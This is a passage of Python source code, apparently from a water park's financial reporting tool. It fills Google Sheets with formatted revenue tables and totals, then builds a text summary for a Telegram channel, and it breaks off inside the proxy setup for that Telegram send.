range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for servise in self.finreport_dict_month[group][folder]: if servise[0] == 'Итого по папке': continue self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ servise[0], servise[1], servise[2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': False}}, {'textFormat': {'bold': False}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': False}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) while self.nex_line < self.sheet4_height: self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [['', '', '']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': False, 'fontSize': 10}}) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#ffffff")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # SHEET 4 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 5...') sheetId = 4 ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) self.nex_line = 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[f'Итоговый отчет платежного агента', '', '']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': True, 'fontSize': 18}}) self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[f"За {self.data_report} {datetime.strftime(self.finreport_dict['Дата'][0], '%Y')}", '', '', ]], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': False}}) self.nex_line += 2 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [['Название', 'Количество', 'Сумма']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': True, 'fontSize': 14}}) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet5_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() for group in self.agentreport_dict_month: if group == 'Контрольная сумма': continue if group == 'Дата': continue if group == 'Не учитывать': continue self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ group, self.agentreport_dict_month[group]["Итого по группе"][0][1], self.agentreport_dict_month[group]["Итого по группе"][0][2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': True, 'fontSize': 12}}, {'textFormat': {'bold': True, 'fontSize': 12}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True, 'fontSize': 12}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for folder in self.agentreport_dict_month[group]: if folder == 'Итого по группе': continue if folder == '': continue self.nex_line += 1 if folder is None: folder_name = 'Без группировки' else: folder_name = folder ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ folder_name, self.agentreport_dict_month[group][folder][0][1], self.agentreport_dict_month[group][folder][0][2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for servise in self.agentreport_dict_month[group][folder]: if servise[0] == 'Итого по папке': continue self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ servise[0], servise[1], servise[2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': False}}, {'textFormat': {'bold': False}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': False}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) for j in range(self.sheet5_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) while self.nex_line < self.sheet5_height: self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [['', '', '']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': False, 'fontSize': 10}}) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#ffffff")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet5_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "NONE", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # Заполнение листа 6 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 6...') sheetId = 5 ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) # Заполнение строки с данными weekday_rus = [ "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота", "Воскресенье", ] self.nex_line = self.start_line ss.prepare_setValues( f"A{self.nex_line}:P{self.nex_line}", [ [ datetime.strftime(self.finreport_dict_beach['Дата'][0], '%d.%m.%Y'), weekday_rus[self.finreport_dict_beach['Дата'][0].weekday()], f'=\'План\'!L{self.nex_line}', self.finreport_dict_beach['Выход с пляжа'][0], f'=\'План\'!M{self.nex_line}', str(self.finreport_dict_beach['Итого по отчету'][1]).replace('.', ','), self.finreport_dict_beach['Депозит'][1], self.finreport_dict_beach['Карты'][0], self.finreport_dict_beach['Карты'][1], f"=IFERROR(I{self.nex_line}/H{self.nex_line};0)", self.finreport_dict_beach['Услуги'][0], self.finreport_dict_beach['Услуги'][1], f"=IFERROR(L{self.nex_line}/K{self.nex_line};0)", self.finreport_dict_beach['Товары'][0], self.finreport_dict_beach['Товары'][1], f"=IFERROR(O{self.nex_line}/N{self.nex_line};0)", ] ], "ROWS" ) # Задание форматы вывода строки ss.prepare_setCellsFormats( f"A{self.nex_line}:P{self.nex_line}", [ [ {'numberFormat': {'type': 'DATE', 'pattern': 'dd.mm.yyyy'}, 'horizontalAlignment': 'LEFT'}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) # Цвет фона ячеек if self.nex_line % 2 != 0: ss.prepare_setCellsFormat(f"A{self.nex_line}:P{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet6_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) # ------------------------------------------- Заполнение ИТОГО -------------------------------------- logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение строки ИТОГО на листе 2...') for i, line_table in enumerate(self.spreadsheet['sheets'][1]['data'][0]['rowData']): try: if line_table['values'][0]['formattedValue'] == "ИТОГО": # Если строка переписывается - итого на 1 поз вниз, если новая - на 2 поз height_table = i + self.reprint break else: height_table = 4 except KeyError: pass ss.prepare_setValues(f"A{height_table}:P{height_table}", [[f'ИТОГО', "", f"=SUM(C3:C{height_table - 1})", f"=SUM(D3:D{height_table - 1})", f"=SUM(E3:E{height_table - 1})", f"=SUM(F3:F{height_table - 1})", f"=SUM(G3:G{height_table - 1})", f"=SUM(H3:H{height_table - 1})", f"=SUM(I3:I{height_table - 1})", f"=IFERROR(ROUND(I{height_table}/H{height_table};2);0)", f"=SUM(K3:K{height_table - 1})", f"=SUM(L3:L{height_table - 1})", f"=IFERROR(ROUND(L{height_table}/K{height_table};2);0)", f"=SUM(N3:N{height_table - 1})", f"=SUM(O3:O{height_table - 1})", f"=IFERROR(ROUND(O{height_table}/N{height_table};2);0)", ]], "ROWS") ss.prepare_setValues(f"A{height_table + 1}:D{height_table + 1}", [[f'Выполнение плана (трафик)', "", f"=IFERROR('План'!L{self.sheet2_line};0)", f"=IFERROR(ROUND(D{height_table}/C{height_table + 1};2);0)", ]], "ROWS") ss.prepare_setValues(f"A{height_table + 2}:D{height_table + 2}", [[f'Выполнение плана (доход)', "", f"=IFERROR('План'!M{self.sheet2_line};0)", f"=IFERROR(ROUND(F{height_table}/C{height_table + 2};2);0)", ]], "ROWS") # Задание формата вывода строки ss.prepare_setCellsFormats( f"A{height_table}:P{height_table}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, ] ] ) ss.prepare_setCellsFormats( f"A{height_table + 1}:D{height_table + 1}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) ss.prepare_setCellsFormats( f"A{height_table + 2}:D{height_table + 2}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat(f"A{height_table}:P{height_table}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") ss.prepare_setCellsFormat(f"A{height_table + 1}:D{height_table + 1}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") ss.prepare_setCellsFormat(f"A{height_table + 2}:D{height_table + 2}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet6_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for j in range(4): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for j in range(4): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() def open_googlesheet(self): """ Открывает браузер с текущей гугл-таблицей """ if not self.open_browser: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Открытие файла-отчета в браузере...') self.show_dialog_variant(f'Открыть Google-отчет?', 'Открыть Google-отчет?', webbrowser.open, self.spreadsheet['spreadsheetUrl'] ) self.open_browser = True def sms_report(self): """ Составляет текстовую версию финансового отчета :return: str """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Составление SMS-отчета...') resporse = 'Отчет по аквапарку за ' if self.finreport_dict['Дата'][0] == self.finreport_dict['Дата'][1] - timedelta(1): resporse += f'{datetime.strftime(self.finreport_dict["Дата"][0], "%d.%m.%Y")}:\n' else: resporse += f'{datetime.strftime(self.finreport_dict["Дата"][0], "%d.%m.%Y")} - {datetime.strftime(self.finreport_dict["Дата"][1] - timedelta(1), "%d.%m.%Y")}:\n' if self.finreport_dict['ИТОГО'][1]: resporse += f'Люди - {self.finreport_dict["Кол-во проходов"][0]};\n' resporse += f'По аквапарку - {self.finreport_dict["Билеты аквапарка"][1] + self.finreport_dict["Билеты аквапарка КОРП"][1]:.2f} ₽;\n' resporse += f"По общепиту - {(self.finreport_dict['Общепит'][1] + self.finreport_dict['Смайл'][1]):.2f} ₽;\n" resporse += f'Термозона - {self.finreport_dict["Термозона"][1] + self.finreport_dict["Термозона КОРП"][1]:.2f} ₽;\n' resporse += f'Прочее - {self.finreport_dict["Прочее"][1]:.2f} ₽;\n' resporse += f"Общая по БАРСу - {self.finreport_dict['ИТОГО'][1]:.2f} ₽;\n" resporse += f'ONLINE продажи - {self.finreport_dict["Online Продажи"][1]:.2f} ₽;\n' if not re.search(r'По общепиту', resporse) and self.finreport_dict['Смайл'][1]: resporse += f"По общепиту - {self.finreport_dict['Смайл'][1]:.2f} ₽;\n" resporse += f"Общая по БАРСу - {self.finreport_dict['ИТОГО'][1]:.2f} ₽;\n" if self.itog_report_org2['Итого по отчету'][1]: # resporse += 'Отчет по пляжу за ' # if beach_report['Дата'][0] + timedelta(1) == beach_report['Дата'][1]: # resporse += f'{datetime.strftime(beach_report["Дата"][0], "%d.%m.%Y")}:\n' # else: # resporse += f'{datetime.strftime(beach_report["Дата"][0], "%d.%m.%Y")} - {datetime.strftime(beach_report["Дата"][0], "%d.%m.%Y")}:\n' try: resporse += f'Люди (пляж) - {self.itog_report_org2["Летняя зона | БЕЗЛИМИТ | 1 проход"][0]};\n' except KeyError: pass resporse += f'Итого по пляжу - {self.itog_report_org2["Итого по отчету"][1]:.2f} ₽;\n' resporse += f'Без ЧП.' with open(f'reports/{self.date_from.strftime("%Y.%m.%d")}_sms.txt', 'w', encoding='utf-8') as f: f.write(resporse) return resporse def send_message_to_telegram(self): """ Отправка отчета в telegram """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Отправка SMS-отчета в Telegram-канал...') if self.telegram_proxy_use: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Соединение с прокси-сервером {self.telegram_proxy_ip}...') if self.telegram_proxy_auth: socks.setdefaultproxy(proxy_type=getattr(socks, self.telegram_proxy_type), 